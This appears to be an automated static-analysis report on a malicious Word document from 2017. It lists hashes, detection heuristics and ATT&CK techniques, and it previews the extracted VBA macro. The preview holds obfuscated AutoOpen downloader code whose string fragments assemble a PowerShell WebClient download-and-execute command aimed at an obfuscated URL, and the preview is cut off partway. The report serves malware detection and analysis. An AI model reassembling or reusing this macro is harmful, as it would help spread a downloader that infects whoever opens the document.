Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa3880f3ba318d42…

MALICIOUS

Office (OLE)

199.5 KB Created: 2017-12-11 20:47:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: f169ffb21a77efde92321b4a51e2b35d SHA-1: d0e4dafba742110386c1de73bde5156b0ad501b1 SHA-256: fa3880f3ba318d422afd63e73769442951a73287ace1b3794bf78f3ddfc5c178
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external code. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure, and the presence of suspicious URLs further supports this. The VBA script attempts to obfuscate its actions by concatenating strings, but the core functionality appears to be downloading and executing a payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://votebSZU2+SZU2iSZU2+SZU2rne1Nq+1NqSZU2+SZU2y1Nq+1Nq.com/mjRSZU2+SZU286SZU2+SZU2/,httSZUCw0AoABVV� In document text (OLE body)
    • http://votebSZU2+SZU2iSZU2+SZU2rne1Nq+1NqSZU2+SZU2y1Nq+1Nq.com/mjRSZU2+SZU286SZU2+SZU2/,httSZUCw0AoABVVIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 79924 bytes
SHA-256: 9eefb3c311cd14bd60375c794a2b29e7a3f0e918d86858c54c2748ff3c18c762
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KSBGEipDz"
Function aWJaPpMTWn()
nqBJsmw = UCase("MIHaEvG" + "SkZIGUitq" + "fVkcuEQIbqc" + "bTWHBOzqE" + "wOjsooQT") + UCase("iWFCPTjN" + "KvTPlEJ" + "lzTUvAW" + "XVtCPbrIiw" + "VRHoRAufIqidf")
zPILa = Mid("un (('((1Nq (SZU2v4SZU2+SZ1Nq+1NqU2XSZU2+SZU2f1N'+'q+1NqrancSZU1Nq+1Nq2+SZU2 = neSZU2'+'+SZU2w-S'+'ZU2+SZU2obSZU2+SZU2ject SZU2+SZU2SysS'wR8jjqT4nTlP9izmWad86jJcTY9vp", 3, 135)
morwvcTdiY = UCase("ZRahOHwjlpSt" + "zoHfNcBaGZuG" + "XmnXwZTUiFC" + "FsQwsvWoMqW" + "WUQSMSr") + UCase("aokKtOttaPT" + "FzIjkbOiXSNj" + "mAbIAHMOW" + "RIFFdBd" + "wXnvXMhhk")
rjoFAZYjc = UCase("iDRzsiVjhszq" + "niELlnLn" + "dKBTAUOdosOSj" + "ZImPWmjPqb" + "HzDfzpTwuZHzY") + UCase("AUDDEbsGKfDz" + "pAEOUaitXL" + "rDvWmwSKNhWSjL" + "zwAnYbzRivpL" + "XtocJEMBjWUL")
KDuHwPJJbj = UCase("EJfrtGNHzYmC" + "iFcDEwJmiT" + "LYVFGPRrztQ" + "ASLYQndNARibj" + "ffwkzWqDfUk") + UCase("AkHvCdOM" + "ltYtzFGbtqu" + "jjmsPuuDwm" + "nImsFEOENUzul" + "rzQjcldqjTA")
jPsfCrvl = Mid("qisCSZU2) OwOwj0j6P8idYwJhtvAIiCjzqaHrB", 5, 6)
RMZjnjVDwLT = UCase("slqSiYCi" + "itkmWtmRbzn" + "nUttJbzjSaj" + "LjLaLMRJEvK" + "sWhTPPuXXhFRzZ") + UCase("wDwIIMIanh" + "FOfibrJz" + "mtfUDfJ" + "idudlnU" + "FmCijvu")
MTjjFtiVi = UCase("DniTIjwCkk" + "MAWimhDi" + "ARYudTTANzYSr" + "BbVtLRviqGnE" + "FGrIjlKUmOnq") + UCase("MzpmMtUQVDQnr" + "uSbSHYkOt" + "pshjQPMhCW" + "zsDttjS" + "DaUoTQCKwjSE")
aFRdnwz = UCase("hsbAmhztWQWAn" + "vVRaprCRBiItU" + "XsVudkarwjoGLo" + "ovcjjsOWsviqQq" + "rsMEViubWCRDZk") + UCase("jfOWNjjJnBJV" + "wzuJAwowtHS" + "tTFjPpplH" + "wbudOLjZ" + "MIRcXIH")
zFooF = Mid("IZU2wSZ'+'U2+SZU2nloaSZU2+1Nq+1NqSZU2dFile(v4Xabc.7EqUwmOiwCGjFaWVU9149LL4GPkdM0438o5", 2, 49)
mvhfLahiwV = UCase("DTzULnzGqilULw" + "XYNpRiquUD" + "QOEQBkSHt" + "GZivTdNsjU" + "UcnXTcmT") + UCase("YdRzXlCZh" + "CECAQzf" + "wAcCkjFwlQsiH" + "ofzdIkYhanK" + "RERcXYnjnSlW")
lsiIoj = UCase("avopYvE" + "PbcXLUjVmA" + "PXkdNUDGI" + "qiYInOqSXZf" + "JwjGBsrYwqWpr") + UCase("pSbVVpwsZtE" + "XFtDObnaN" + "tGSLOkfzLjRI" + "YqBEptRZqC" + "UlitbuCRRDYU")
diBwpD = UCase("iDEiKQH" + "EfrACMBrtTMFVj" + "fOuERpHM" + "PbOZduwDl" + "ICJipYiMWE") + UCase("JiwvYPPLpKzTYl" + "wbNzUJTwXFW" + "EfickHUFwPdF" + "irvNLilsPaH" + "XjpqjaqCfKjHhM")
pqizCakb = Mid("cw5QKU2bcd =SZU2+SZU2 0b8http://votebSZU2+SZU2iSZU2+SZU2rne1Nq+1NqSZU2+SZU2y1Nq+1Nq.com/mjRSZU2+SZU286SZU2+SZU2/,httSZUCw0AoABVV", 6, 114)
rfkoPLVjfG = UCase("KaLMZhV" + "PjVMNXzhwMCEjq" + "FmXQjzrVzVz" + "PhFzJhnFEIjOXF" + "VqVQVTzFZBQo") + UCase("XKWqNdhzqMtXsl" + "zGItbQWfiF" + "ZRbfwssphum" + "BtXkiibsciYIT" + "XMiBfrljEQXLO")
dOHLEoTnf = UCase("EfiiwIUm" + "XlMWlrpFb" + "MXiPQomCzXL" + "fwWjNkrIqDzYS" + "OURnVbfDAoZPNt") + UCase("FVOGjFNz" + "iENTnJa" + "zVZSlLCk" + "cwiHzXzz" + "hjRjpBUNJQNM")
iivKGLAfmRO = UCase("chNYdLCk" + "sKBqhWcVSOzwYi" + "IRlXwXW" + "mzwVKhU" + "vbcaXHdjZSLi") + UCase("KMEzJQLaf" + "cWEPslBSnzhC" + "wHjBnBzjLs" + "clrWBRIGQpAES" + "lwYAYjjHqIrdP")
KmqwYzlwz = Mid("ijaPjJ9  ([cHAR]87+'+'[cHAR]105+[cHAR]115),[cHAR]124) h4u &((geT-VarIAble 1Nq*MDR*1Nq).NAMe[3,11,2]-JoiN'+'1Nq1Nq)') -CRepLace([char]104+[char]52+[char]117),[char]124  -repLACe  '1Nq',[XsCv2vLaVzcM3s6i", 8, 178)
vKThqUuCWol = UCase("qNSSrUtUJ" + "WZcOQwjh" + "VBbroOjYz" + "CmWzMHUoff" + "EQYWvJMmDQd") + UCase("wqOPWdDLvvwG" + "AcQHvHABlRl" + "UtETltG" + "DXGzswLbTh" + "TRwvhwfH")
wCtNatU = UCase("ZhFRdQnHti" + "WpbljvCNI" + "DYfnLEU" + "jfXCkjjkjaCEdE" + "jBrIVKMpQGVWIZ") + UCase("SLSMKwtUEuC" + "MbKEZwiwlUwwjX" + "HvOKaLFIrlQuv" + "hmNTPzNGCwXic" + "zPUdnJmYpkbkH")
FrGfE = UCase("jRLYcMivQZLwA" + "jQTcMHHvIjCho" + "ZCLdOKjbSDX" + "ADGwhfdz" + "wbudzioJfWvYH") + UCase("ONhjqIEzPF" + "GEoMwWD" + "lcaQAPbvSnhbi" + "jsiAwmolwMpYs" + "AzhzshWtozh")
pEKCV = Mid("LZwjX0T2OKqNZNHClvB5AFTnu.uaSZU2+SZU2/HlsWviSZU2+SZU2/SZU2+SZU20bSZU2+SZU21Nq+1Nq8.Split(0bSZU2+'+'SZ
... (truncated)

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